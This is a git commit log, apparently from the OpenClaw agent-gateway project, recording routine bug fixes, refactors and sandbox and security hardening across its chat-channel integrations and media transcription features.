Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(telegram): warn when nativeSkillsEnabled but no agent route is bound

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: use runtime.log instead of nonexistent runtime.warn

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-03 02:00:05 +03:00
Peter Steinberger
02eeb08e04 fix: enforce sandbox workspace mount mode (#32227) (thanks @guanyu-zhang) 2026-03-02 22:59:11 +00:00
Evan
7cbcbbc642 fix(sandbox): same fix for browser.ts - make /workspace bind mount read-only when workspaceAccess is not rw
The identical buggy logic from docker.ts also exists in browser.ts.
Applying the same fix here.
2026-03-02 22:58:09 +00:00
Evan
903e4dff35 fix(sandbox): make /workspace bind mount read-only when workspaceAccess is not rw
This ensures that when workspaceAccess is set to 'ro' or 'none', the
sandbox workspace (/workspace inside the container) is mounted as
read-only, matching the documented behavior.

Previously, the condition was:
  workspaceAccess === 'ro' && workspaceDir === agentWorkspaceDir

This was always false in 'ro' mode because workspaceDir equals
sandboxWorkspaceDir, not agentWorkspaceDir.

Now the logic is simplified:
  - 'rw': /workspace is writable
  - 'ro': /workspace is read-only
  - 'none': /workspace is read-only
2026-03-02 22:58:09 +00:00
12
905c3357eb fix(feishu): encode non-ASCII filenames in file uploads (openclaw#31328) thanks @Kay-051
Verified:
- pnpm test extensions/feishu/src/media.test.ts

Co-authored-by: Kay-051 <210470990+Kay-051@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 16:56:57 -06:00
dunamismax
f431f20c48 fix(followup): pass currentChannelId to queued message agent runs
The followup runner (which processes queued messages) was calling
runEmbeddedPiAgent without currentChannelId or currentThreadTs.
This meant the message tool's toolContext had no channel routing
info, causing reactions (and other target-inferred actions) to
fail with 'Action react requires a target' on queued messages.

Pass originatingTo as currentChannelId so the message tool can
infer the reaction target from context, matching the behavior
of the initial (non-queued) agent run.
2026-03-02 22:53:04 +00:00
dunamismax
d9fdec12ab fix(signal): fall back to toolContext.currentMessageId for reactions
Signal reactions required an explicit messageId parameter, unlike
Telegram which already fell back to toolContext.currentMessageId.
This made agent-initiated reactions fail on Signal because the
inbound message ID was available in tool context but never used.

- Destructure toolContext in Signal action handler
- Fall back to toolContext.currentMessageId when messageId omitted
- Update reaction schema descriptions (not Telegram-specific)
- Add tests for fallback and missing-messageId rejection

Closes #17651
2026-03-02 22:53:04 +00:00
Peter Steinberger
f25be781c4 fix: honor chat completions message-channel header (#30462) (thanks @bmendonca3) 2026-03-02 22:51:32 +00:00
bmendonca3
0d8f14fed3 gateway: cover default message-channel fallback 2026-03-02 22:51:32 +00:00
bmendonca3
842a79cf99 Gateway: honor message-channel header for chat completions 2026-03-02 22:51:32 +00:00
Peter Steinberger
caae34cbaf refactor: unify message hook mapping and async dispatch 2026-03-02 22:51:28 +00:00
Mark L
fa47f74c0f Feishu: normalize group announce targets to chat ids (openclaw#31546) thanks @liuxiaopai-ai
Verified:
- pnpm build
- pnpm check (fails on unrelated existing main-branch lint violations in ui/src/ui/views/agents-utils.ts and src/pairing/pairing-store.ts)
- pnpm test:macmini

Co-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 16:50:55 -06:00
Bob
ac11f0af73 Security: enforce ACP sandbox inheritance for sessions_spawn (#32254)
* Security: enforce ACP sandbox inheritance in sessions_spawn

* fix: add changelog attribution for ACP sandbox inheritance (#32254) (thanks @dutifulbob)

---------

Co-authored-by: Onur <2453968+osolmaz@users.noreply.github.com>
2026-03-02 23:50:38 +01:00
Peter Steinberger
a78ec81ae6 fix: align exec no-output timeout defaults (#32235) (thanks @bmendonca3) 2026-03-02 22:47:03 +00:00
bmendonca3
be578b43d3 secrets: default exec no-output timeout to timeoutMs 2026-03-02 22:47:03 +00:00
Peter Steinberger
0b5d8e5b47 fix: harden discord audio preflight mention detection (#32136) (thanks @jnMetaCode) 2026-03-02 22:45:41 +00:00
jiangnan
b9b47f5002 fix(discord): use correct content_type property for audio attachment detection
The preflight audio transcription detection used camelCase `contentType`
but Discord's APIAttachment type uses snake_case `content_type`. This
caused `hasAudioAttachment` to always be false, preventing voice message
transcription from triggering in guild channels where mention detection
requires audio preflight.

Fixes #30034

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 22:45:41 +00:00
Peter Steinberger
319b7c68a1 fix: preserve inline-status newlines (#32224) (thanks @scoootscooob) 2026-03-02 22:43:10 +00:00
scoootscooob
6200e242b2 fix(auto-reply): preserve newlines in stripInlineStatus and extractInlineSimpleCommand
The /\s+/g whitespace normalizer collapsed newlines along with spaces/tabs,
destroying paragraph structure in multi-line messages before they reached
the LLM. Use /[^\S\n]+/g to only collapse horizontal whitespace while
preserving line breaks.

Closes #32216

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 22:43:10 +00:00
Mark L
5b5ccb0769 fix(ui): avoid toSorted in cron suggestions (#31775)
* Control UI: avoid toSorted in cron suggestions

* Control UI: make sortLocaleStrings legacy-safe

* fix(ui): use sort fallback in locale string helper

* fix(ui): remove toSorted from locale helper

* fix(ui): remove toSorted from locale helper

* fix(ui): remove toSorted from locale helper

* fix(ui): remove toSorted from locale helper

* fix(ui): remove toSorted from locale helper

* fix(ui): avoid sort in locale helper for browser compatibility

* ui: avoid unnecessary assertions in locale sort

* changelog: credit browser-compat cron fix PR

* fix(ui): use native locale sort in compatibility helper

* ui: use compat merge-sort for locale strings

* style: format locale sort helper

* style: fix oxfmt ordering in agents utils

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-02 14:41:01 -08:00
ademczuk
0743463b88 fix(webchat): suppress NO_REPLY token in chat transcript rendering (#32183)
* fix(types): resolve pre-existing TS errors in agent-components and pairing-store

- agent-components.ts: normalizeDiscordAllowList returns {allowAll, ids, names},
  not an array — use ids.values().next().value instead of [0] indexing
- pairing-store.ts: add non-null assertions for stat after cache-miss guard
  (resolveAllowFromReadCacheOrMissing returns early when stat is null)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(webchat): suppress NO_REPLY token in chat transcript rendering

Filter assistant NO_REPLY-only entries from chat.history responses at
the gateway API boundary and add client-side defense-in-depth guards in
the UI chat controller so internal silent tokens never render as visible
chat bubbles.

Two-layer fix:
1. Gateway: extractAssistantTextForSilentCheck + isSilentReplyText
   filter in sanitizeChatHistoryMessages (entry.text takes precedence
   over entry.content to avoid dropping messages with real text)
2. UI: isAssistantSilentReply + isSilentReplyStream guards on all 5
   message insertion points in handleChatEvent and loadChatHistory

Fixes #32015

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(webchat): align isAssistantSilentReply text/content precedence with gateway

* webchat: tighten NO_REPLY transcript and delta filtering

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 16:39:08 -06:00
Peter Steinberger
48155729fc fix: document Homebrew stable node path resolution (#32185) (thanks @scoootscooob) 2026-03-02 22:37:09 +00:00
scoootscooob
163f5184b3 fix(daemon): handle versioned node@XX Homebrew formulas in Cellar resolution
Address review feedback: versioned Homebrew formulas (node@22, node@20)
use keg-only paths where the stable symlink is at <prefix>/opt/<formula>/bin/node,
not <prefix>/bin/node. Updated resolveStableNodePath to:

1. Try <prefix>/opt/<formula>/bin/node first (works for both default + versioned)
2. Fall back to <prefix>/bin/node for the default "node" formula
3. Return the original Cellar path if neither stable path exists

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 22:37:09 +00:00
scoootscooob
8950c59581 fix(daemon): resolve Homebrew Cellar path to stable symlink for gateway install
When `openclaw gateway install` runs under Homebrew Node, `process.execPath`
resolves to the versioned Cellar path (e.g. /opt/homebrew/Cellar/node/25.7.0/bin/node).
This path breaks when Homebrew upgrades Node, silently killing the gateway daemon.

Resolve Cellar paths to the stable Homebrew symlink (/opt/homebrew/bin/node)
which Homebrew updates automatically during upgrades.

Closes #32182

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 22:37:09 +00:00
Peter Steinberger
29dde80c3e fix: harden message hook session/group context and add integration coverage (#9859) (thanks @Drickon) 2026-03-02 22:34:43 +00:00
Eric Lytle
b5102ba4f9 fix(hooks): add isGroup and groupId to message:sent context
Adds group context fields to MessageSentHookContext so hooks can
correlate sent events with received events for the same conversation.

Previously, message:received included isGroup/groupId but message:sent
did not, forcing hooks to use mismatched identifiers (e.g. groupId vs
numeric chat ID) when tracking conversations.

Fields are derived from MsgContext in dispatch-from-config and threaded
through route-reply and deliver via the mirror parameter.

Addresses feedback from matskevich (production user, 550+ events)
reported on PR #6797.
2026-03-02 22:34:43 +00:00
Eric Lytle
7ad6a04058 fix(hooks): resolve type/lint errors from CI check failure
Arrow function passed to registerInternalHook was implicitly returning
the number from Array.push(), which is not assignable to void | Promise<void>.
Use block body to discard the return value.
2026-03-02 22:34:43 +00:00
Eric Lytle
e0b8b80067 feat(hooks): add message:transcribed and message:preprocessed internal hooks
Adds two new internal hook events that fire after media/link processing:

- message:transcribed: fires when audio has been transcribed, providing
  the transcript text alongside the original body and media metadata.
  Useful for logging, analytics, or routing based on spoken content.

- message:preprocessed: fires for every message after all media + link
  understanding completes. Gives hooks access to the fully enriched body
  (transcripts, image descriptions, link summaries) before the agent sees it.

Both hooks are added in get-reply.ts, after applyMediaUnderstanding and
applyLinkUnderstanding. message:received and message:sent are already
in upstream (f07bb8e8) and are not duplicated here.

Typed contexts (MessageTranscribedHookContext, MessagePreprocessedHookContext)
and type guards (isMessageTranscribedEvent, isMessagePreprocessedEvent) added
to internal-hooks.ts alongside the existing received/sent types.

Test coverage in src/hooks/message-hooks.test.ts.
2026-03-02 22:34:43 +00:00
Vincent Koc
44183c6eb1 fix(hooks): consolidate after_tool_call context + single-fire behavior (#32201)
* fix(hooks): deduplicate after_tool_call hook in embedded runs

(cherry picked from commit c129a1a74b)

* fix(hooks): propagate sessionKey in after_tool_call context

The after_tool_call hook in handleToolExecutionEnd was passing
`sessionKey: undefined` in the ToolContext, even though the value is
available on ctx.params. This broke plugins that need session context
in after_tool_call handlers (e.g., for per-session audit trails or
security logging).

- Add `sessionKey` to the `ToolHandlerParams` Pick type
- Pass `ctx.params.sessionKey` through to the hook context
- Add test assertion to prevent regression

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit b7117384fc)

* fix(hooks): thread agentId through to after_tool_call hook context

Follow-up to #30511 — the after_tool_call hook context was passing
`agentId: undefined` because SubscribeEmbeddedPiSessionParams did not
carry the agent identity. This threads sessionAgentId (resolved in
attempt.ts) through the session params into the tool handler context,
giving plugins accurate agent-scoped context for both before_tool_call
and after_tool_call hooks.

Changes:
- Add `agentId?: string` to SubscribeEmbeddedPiSessionParams
- Add "agentId" to ToolHandlerParams Pick type
- Pass `agentId: sessionAgentId` at the subscribeEmbeddedPiSession()
  call site in attempt.ts
- Wire ctx.params.agentId into the after_tool_call hook context
- Update tests to assert agentId propagation

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit aad01edd3e)

* changelog: credit after_tool_call hook contributors

* Update CHANGELOG.md

* agents: preserve adjusted params until tool end

* agents: emit after_tool_call with adjusted args

* tests: cover adjusted after_tool_call params

* tests: align adapter after_tool_call expectation

---------

Co-authored-by: jbeno <jim@jimbeno.net>
Co-authored-by: scoootscooob <zhentongfan@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 14:33:37 -08:00
Peter Steinberger
f9cbcfca0d refactor: modularize slack/config/cron/daemon internals 2026-03-02 22:30:21 +00:00
Peter Steinberger
5d3032b293 fix: align gateway and zalouser typing imports 2026-03-02 22:29:18 +00:00
Peter Steinberger
11adaa15a8 test: isolate high-variance suites in parallel scheduler 2026-03-02 22:29:13 +00:00
Peter Steinberger
3cb851be90 test: micro-optimize heavy gateway/browser/telegram suites 2026-03-02 22:29:04 +00:00
Peter Steinberger
1fa2488db1 fix: wire telegram disableAudioPreflight config validation and precedence tests (#23067) (thanks @yangnim21029) 2026-03-02 22:26:52 +00:00
gemini-3-flash
d3cb85eaf5 feat(telegram): add disableAudioPreflight config for groups and topics 2026-03-02 22:26:52 +00:00
Peter Steinberger
d89c25d69e fix: support parakeet-mlx output-dir transcript parsing (#9177) (thanks @mac-110) 2026-03-02 22:22:17 +00:00
Alessandro Rodi
f257818ea5 fix(sandbox): prevent Windows PATH from poisoning docker exec (#13873)
* fix(sandbox): prevent Windows PATH from poisoning docker exec shell lookup

On Windows hosts, `buildDockerExecArgs` passes the host PATH env var
(containing Windows paths like `C:\Windows\System32`) to `docker exec -e
PATH=...`. Docker uses this PATH to resolve the executable argument
(`sh`), which fails because Windows paths don't exist in the Linux
container — producing `exec: "sh": executable file not found in $PATH`.

Two changes:
- Skip PATH in the `-e` env loop (it's already handled separately via
  OPENCLAW_PREPEND_PATH + shell export)
- Use absolute `/bin/sh` instead of bare `sh` to eliminate PATH
  dependency entirely

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* style: add braces around continue to satisfy linter

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(test): update assertion to match /bin/sh in buildDockerExecArgs

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 16:17:33 -06:00
magos-minor
350ac0d824 fix(daemon): default NODE_USE_SYSTEM_CA=1 on macOS 2026-03-02 22:17:14 +00:00
Peter Steinberger
19fafed11d refactor(zalouser): extract policy and message helpers 2026-03-02 22:16:47 +00:00
Peter Steinberger
7253e91300 fix: strengthen cron heartbeat multi-payload suppression (#32131) (thanks @adhishthite) 2026-03-02 22:16:18 +00:00
Adhish
2330c71b63 fix(cron): suppress delivery when multi-payload response contains HEARTBEAT_OK
When a cron agent emits multiple text payloads (narration + tool
summaries) followed by a final HEARTBEAT_OK, the delivery suppression
check `isHeartbeatOnlyResponse` fails because it uses `.every()` —
requiring ALL payloads to be heartbeat tokens. In practice, agents
narrate their work before signaling nothing needs attention.

Fix: check if ANY payload contains HEARTBEAT_OK (`.some()`) while
preserving the media delivery exception (if any payload has media,
always deliver). This matches the semantic intent: HEARTBEAT_OK is
the agent's explicit signal that nothing needs user attention.

Real-world example: heartbeat agent returns 3 payloads:
1. "It's 12:49 AM — quiet hours. Let me run the checks quickly."
2. "Emails: Just 2 calendar invites. Not urgent."
3. "HEARTBEAT_OK"

Previously: all 3 delivered to Telegram. Now: correctly suppressed.

Related: #32013 (fixed a different HEARTBEAT_OK leak path via system
events in timer.ts)
2026-03-02 22:16:18 +00:00
Maple778
477de545f9 fix(feishu): suppress reasoning/thinking block payloads from delivery (#31723)
* fix(extensions/feishu/src/reply-dispatcher.ts): missing privacy check / data leak

Pattern from PR #24969

The fix addresses the critical race condition by placing the 'block' filter check at the very top of the `deliver` function. This ensures that for internal 'block' reasoning chunks, the function returns immediately, preventing any text processing (lines 195-203) and, crucially, preventing the initialization of the streaming state for these payloads (lines 212-216). This ensures that the `streaming` object is not initialized with empty data, and subsequent 'final' payloads will correctly initialize and stream only the final content. The fix also addresses the 'incomplete' validation issue by using `info?.kind !== 'block'`. While the contract likely ensures `info` is present, this defensive approach ensures that if `info` is missing (and the payload is unrelated to internal blocking), the message is still delivered to the user, preventing a 'silent failure' bug. The validation logic at line 205 (`!hasText && !hasMedia`) ensures we do not send empty messages.

* Fix indentation: remove extra 4 spaces from deliver function body

The deliver function is inside the createReplyDispatcherWithTyping call,
so it should be indented at 2 levels (8 spaces), not 3 levels (12 spaces).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* test(feishu): cover block payload suppression in reply dispatcher

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 16:15:45 -06:00
Peter Steinberger
bd4a082b73 fix: land config raw redaction collision guard (#32174) (thanks @bmendonca3) 2026-03-02 22:14:35 +00:00
Tak Hoffman
cbd2e8eea8 Config: consolidate raw redaction overlap and SecretRef safety 2026-03-02 22:14:35 +00:00
bmendonca3
807c600ad1 config: avoid raw redaction collisions on round-trip 2026-03-02 22:14:35 +00:00
Zico
a1ee605494 fix(slack): prevent duplicate DM processing from app_mention events
Fixes duplicate message processing in Slack DMs where both message.im
and app_mention events fire for the same message, causing:
- 2x token/credit usage per message
- 2x API calls
- Duplicate agent invocations with same runId

Root cause: app_mention events should only fire for channel mentions,
not DMs. Added channel_type check to skip im/mpim in app_mention handler.

Evidence of bug (from production logs):
- Same runId firing twice within 200-300ms
- Example: runId 13cd482c... at 20:32:42.699Z and 20:32:42.954Z

After fix:
- One message = one runId = one processing run
- 50% reduction in duplicate processing
2026-03-02 22:12:45 +00:00
OliYeet
923ff17ff3 fix(slack): filter inherited parent files from thread replies (#32203)
Slack's Events API includes the parent message's files array in every
thread reply event payload. This caused OpenClaw to re-download and
attach the parent's files to every text-only thread reply, creating
ghost media attachments.

The fix filters out files that belong to the thread starter by comparing
file IDs. The resolveSlackThreadStarter result is already cached, so
this adds no extra API calls.

Closes #32203
2026-03-02 22:11:07 +00:00
markfietje
49687d313c fix(plugins): allow hardlinks for bundled plugins (fixes #28175, #28404) (openclaw#32119) thanks @markfietje
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: markfietje <4325889+markfietje@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 16:10:31 -06:00
Peter Steinberger
11dcf96628 fix: add changelog for session-store cache invalidation (#32191) (thanks @jalehman) 2026-03-02 22:09:36 +00:00
Josh Lehman
21a1db78b3 test: stabilize bun cache invalidation fixtures 2026-03-02 22:09:36 +00:00
Josh Lehman
175c770171 fix: address session-store cache review feedback 2026-03-02 22:09:36 +00:00
Josh Lehman
1212328c8d fix: refresh session-store cache when file size changes within same mtime tick
The session-store cache used only mtime for invalidation. In fast CI
runs (especially under bun), test writes to the session store can
complete within the same filesystem mtime granularity (~1s on HFS+/ext4),
so the cache returns stale data. This caused non-deterministic failures
in model precedence tests where a session override written to disk was
not observed by the next loadSessionStore() call.

Fix: add file size as a secondary cache invalidation signal. The cache
now checks both mtimeMs and sizeBytes — if either differs from the
cached values, it reloads from disk.

Changes:
- cache-utils.ts: add getFileSizeBytes() helper
- sessions/store.ts: extend SessionStoreCacheEntry with sizeBytes field,
  check size in cache-hit path, populate size on cache writes
- sessions.cache.test.ts: add regression test for same-mtime rewrite
2026-03-02 22:09:36 +00:00
Peter Steinberger
f9025c3f55 feat(zalouser): add reactions, group context, and receipt acks 2026-03-02 22:08:11 +00:00
bmendonca3
317075ef3d telegram: route dm sessions by sender id 2026-03-02 22:08:07 +00:00
Peter Steinberger
2c39731846 fix: keep slack off-mode top-level turns in one session (#32193) (thanks @bmendonca3) 2026-03-02 22:05:25 +00:00
bmendonca3
29342c37b5 slack: keep top-level off-mode channel turns in one session 2026-03-02 22:05:25 +00:00
Peter Steinberger
cc18e43832 docs(media): clarify audio echo defaults and proxy env 2026-03-02 22:01:24 +00:00
Peter Steinberger
6545317a2c refactor(media): split audio helpers and attachment cache 2026-03-02 22:01:24 +00:00
Peter Steinberger
9bde7f4fde perf: cache allowlist and account-id normalization 2026-03-02 21:58:35 +00:00
Peter Steinberger
3beb1b9da9 test: speed up heavy suites with shared fixtures 2026-03-02 21:58:35 +00:00
Peter Steinberger
6358aae024 refactor(infra): share windows path normalization helper 2026-03-02 21:55:12 +00:00
Peter Steinberger
55a2d12f40 refactor: split inbound and reload pipelines into staged modules 2026-03-02 21:55:01 +00:00
Peter Steinberger
99a3db6ba9 fix(zalouser): enforce group mention gating and typing 2026-03-02 21:53:54 +00:00
Peter Steinberger
e5597a8dd4 refactor(media): dedupe tiny-audio test setup and normalize guards formatting 2026-03-02 21:50:54 +00:00
Peter Steinberger
8e259b8310 fix: keep audio transcript echo off-by-default and tiny-audio-safe (#32150) 2026-03-02 21:48:08 +00:00
AytuncYildizli
8f995dfc7a fix(audio): add echoTranscript/echoFormat to Zod config schema 2026-03-02 21:47:09 +00:00
AytuncYildizli
1b61269eec feat(audio): auto-echo transcription to chat before agent processing
When echoTranscript is enabled in tools.media.audio config, the
transcription text is sent back to the originating chat immediately
after successful audio transcription — before the agent processes it.
This lets users verify what was heard from their voice note.

Changes:
- config/types.tools.ts: add echoTranscript (bool) and echoFormat
  (string template) to MediaUnderstandingConfig
- media-understanding/apply.ts: sendTranscriptEcho() helper that
  resolves channel/to from ctx, guards on isDeliverableMessageChannel,
  and calls deliverOutboundPayloads best-effort
- config/schema.help.ts: help text for both new fields
- config/schema.labels.ts: labels for both new fields
- media-understanding/apply.echo-transcript.test.ts: 10 vitest cases
  covering disabled/enabled/custom-format/no-audio/failed-transcription/
  non-deliverable-channel/missing-from/OriginatingTo/delivery-failure

Default echoFormat: '📝 "{transcript}"'

Closes #32102
2026-03-02 21:47:09 +00:00
Shawn
ef89b48785 fix(agents): normalize windows workspace path boundary checks (#30766)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 15:47:02 -06:00
Peter Steinberger
a183656f8f fix: apply missed media/runtime follow-ups from merged PRs 2026-03-02 21:45:39 +00:00
Peter Steinberger
f2b37f0aa9 refactor(media): dedupe runner proxy and video test fixtures 2026-03-02 21:44:52 +00:00
benthecarman
faa4ffec03 Add runtime.stt.transcribeAudioFile for plugin STT access
Expose audio transcription through the PluginRuntime so external
plugins (e.g. marmot) can use openclaw's media-understanding provider
framework without importing unexported internal modules.

The new transcribeAudioFile() wraps runCapability({capability: "audio"})
and reads provider/model/apiKey from tools.media.audio in the config,
matching the pattern used by the Discord VC implementation.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-02 21:43:01 +00:00
Glucksberg
f7b0378ccb fix(test): update media-understanding tests for whisper skip empty audio
Increase test audio file sizes to meet MIN_AUDIO_FILE_BYTES (1024) threshold
introduced by the skip-empty-audio feature. Fix localPathRoots in skip-tiny-audio
tests so temp files pass path validation. Remove undefined loadApply() call
in apply.test.ts.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 21:41:09 +00:00
Glucksberg
5f19112217 fix(test): use strict assertion instead of optional chaining 2026-03-02 21:41:09 +00:00
Glucksberg
8039ef7dba test: add URL-only audio skip test for tiny remote attachments 2026-03-02 21:41:09 +00:00
Glucksberg
43f94e3ab8 fix: strengthen test assertions - assert array lengths before indexing 2026-03-02 21:41:09 +00:00
Glucksberg
8b70ba6ab8 fix(#8127): auto-skip tiny/empty audio files in whisper transcription
Add a minimum file size guard (MIN_AUDIO_FILE_BYTES = 1024) before
sending audio to transcription APIs. Files below this threshold are
almost certainly empty or corrupt and would cause unhelpful errors
from Whisper/Deepgram/Groq providers.

Changes:
- Add 'tooSmall' skip reason to MediaUnderstandingSkipError
- Add MIN_AUDIO_FILE_BYTES constant (1024 bytes) to defaults
- Guard both provider and CLI audio paths in runner.ts
- Add comprehensive tests for tiny, empty, and valid audio files
- Update existing test fixtures to use audio files above threshold
2026-03-02 21:41:09 +00:00
Peter Steinberger
036bd18e2a docs(changelog): fix 2026.3.1 split and dedupe entries 2026-03-02 21:40:57 +00:00
Clawrence
9c9ab891c2 fix(media-understanding): guard malformed attachments arrays 2026-03-02 21:39:57 +00:00
Peter Steinberger
f7c658efb9 fix(core): resolve post-rebase type errors 2026-03-02 21:39:43 +00:00
Marcus Castro
58cde87436 fix: warn when proxy env var is set but agent creation fails 2026-03-02 21:37:36 +00:00
Marcus Castro
8c1e9949b3 fix: pass proxy-aware fetchFn to media understanding providers
runProviderEntry now calls resolveProxyFetchFromEnv() and passes the
result as fetchFn to transcribeAudio/describeVideo, so media provider
API calls respect HTTPS_PROXY/HTTP_PROXY behind corporate proxies.
2026-03-02 21:37:36 +00:00
Marcus Castro
ba3fa44c5b refactor: extract shared proxy-fetch utility from Telegram module
Move makeProxyFetch to src/infra/net/proxy-fetch.ts and add
resolveProxyFetchFromEnv which reads standard proxy env vars
(HTTPS_PROXY, HTTP_PROXY, and lowercase variants) and returns a
proxy-aware fetch via undici's EnvHttpProxyAgent. Telegram re-exports
from the shared location to avoid duplication.
2026-03-02 21:37:36 +00:00
Peter Steinberger
5897eed6e9 refactor(core): dedupe final pairing and sandbox media clones 2026-03-02 21:36:23 +00:00
Peter Steinberger
453a1c179d fix: restore release-check control flow after export guard merge 2026-03-02 21:35:12 +00:00
openjay
76d6514ff5 fix: add "audio" to openai provider capabilities
The openai provider implements transcribeAudio via
transcribeOpenAiCompatibleAudio (Whisper API), but its capabilities
array only declared ["image"]. This caused the media-understanding
runner to skip the openai provider when processing inbound audio
messages, resulting in raw audio files being passed to agents
instead of transcribed text.

Fix: Add "audio" to the capabilities array so the runner correctly
selects the openai provider for audio transcription.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-03-02 21:33:54 +00:00
Peter Steinberger
6a425d189e refactor(channels): dedupe slack telegram and web monitor tests 2026-03-02 21:32:11 +00:00
Peter Steinberger
34daed1d1e refactor(core): dedupe infra, media, pairing, and plugin helpers 2026-03-02 21:32:11 +00:00
Peter Steinberger
91dd89313a refactor(core): dedupe command, hook, and cron fixtures 2026-03-02 21:31:36 +00:00
Peter Steinberger
5f0cbd0edc refactor(gateway): dedupe auth and discord monitor suites 2026-03-02 21:31:36 +00:00
Peter Steinberger
ab8b8dae70 refactor(agents): dedupe model and tool test helpers 2026-03-02 21:31:36 +00:00
Peter Steinberger
067855e623 refactor(browser): dedupe browser and cli command wiring 2026-03-02 21:31:36 +00:00
Glucksberg
58e9ca2fb6 fix(release-check): add 4 missing plugin-sdk exports to align with check script 2026-03-02 21:30:44 +00:00
Glucksberg
61d14e8a8a fix(plugin-sdk): add export verification tests and release guard (#27569) 2026-03-02 21:30:44 +00:00
Peter Steinberger
2438fde6d9 fix: trim repeated slack thread context payloads (#32133) (thanks @sourman) 2026-03-02 21:29:36 +00:00
Ahmed Mansour
7a99027ef6 fix(slack): reduce token bloat by skipping thread context on existing sessions
Thread history and thread starter were being fetched and included on
every message in a Slack thread, causing unnecessary token bloat. The
session transcript already contains the full conversation history, so
re-fetching and re-injecting thread history on each turn is redundant.

Now thread history is only fetched for new thread sessions
(!threadSessionPreviousTimestamp). Existing sessions rely on their
transcript for context.

Fixes #32121
2026-03-02 21:29:36 +00:00
Peter Steinberger
42e402dfba fix: clear pending tool-call state across provider modes (#32120) (thanks @jnMetaCode) 2026-03-02 21:28:02 +00:00
jiangnan
11aa18b525 fix(agents): clear pending tool call state on interruption regardless of provider
When `allowSyntheticToolResults` is false (OpenAI, OpenRouter, and most
third-party providers), the guard never cleared its pending tool call map
when a user message arrived during in-flight tool execution. This left
orphaned tool_use blocks in the transcript with no matching tool_result,
causing the provider API to reject all subsequent requests with 400 errors
and permanently breaking the session.

The fix removes the `allowSyntheticToolResults` gate around the flush
calls. `flushPendingToolResults()` already handles both cases correctly:
it only inserts synthetic results when allowed, and always clears the
pending map. The gate was preventing the map from being cleared at all
for providers that disable synthetic results.

Fixes #32098

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 21:28:02 +00:00
Peter Steinberger
21d6d878ce fix: harden exec allowlist regex literal handling (#32162) (thanks @stakeswky) 2026-03-02 21:26:24 +00:00
User
8da8756f76 fix(exec): escape regex literals in allowlist path matching 2026-03-02 21:26:24 +00:00
George Pickett
a4927ed8ee fix: OpenAI OAuth TLS preflight gating (#32051) (thanks @alexfilatov) 2026-03-02 13:24:49 -08:00
George Pickett
1f24323583 Auth: gate OpenAI OAuth TLS preflight in doctor 2026-03-02 13:24:49 -08:00
Alex Filatov
dc8a56c857 Fix TLS cert preflight classification false positive 2026-03-02 13:24:49 -08:00
Alex Filatov
f181b7dbe6 Add OpenAI OAuth TLS preflight and doctor prerequisite check 2026-03-02 13:24:49 -08:00
scoootscooob
0f1388fa15 fix(gateway): hot-reload channelHealthCheckMinutes without full restart
The health monitor was created once at startup and never touched by
applyHotReload(), so changing channelHealthCheckMinutes only took
effect after a full gateway restart.

Wire up a "restart-health-monitor" reload action so hot-reload can
stop the old monitor and (re)create one with the updated interval —
or disable it entirely when set to 0.

Closes #32105

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 21:23:20 +00:00
Peter Steinberger
b782ecb7eb refactor: harden plugin install flow and main DM route pinning 2026-03-02 21:22:38 +00:00
Peter Steinberger
af637deed1 fix: propagate whatsapp inbound fromMe context (#32167) (thanks @scoootscooob) 2026-03-02 21:20:21 +00:00
scoootscooob
73e6dc361e fix(whatsapp): propagate fromMe through inbound message pipeline
The `fromMe` flag from Baileys' WAMessage.key was only used for
access-control filtering and then discarded.  This meant agents
could not distinguish owner-sent messages from contact messages
in DM conversations (everything appeared as from the contact).

Add `fromMe` to `WebInboundMessage`, store it during message
construction, and thread it through `buildInboundLine` →
`formatInboundEnvelope` so DM transcripts prefix owner messages
with `(self):`.

Closes #32061

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 21:20:21 +00:00
Peter Steinberger
866bd91c65 refactor: harden msteams lifecycle and attachment flows 2026-03-02 21:19:23 +00:00
Peter Steinberger
d98a61a977 fix(config): move sensitive-schema hint warnings to debug 2026-03-02 21:13:58 +00:00
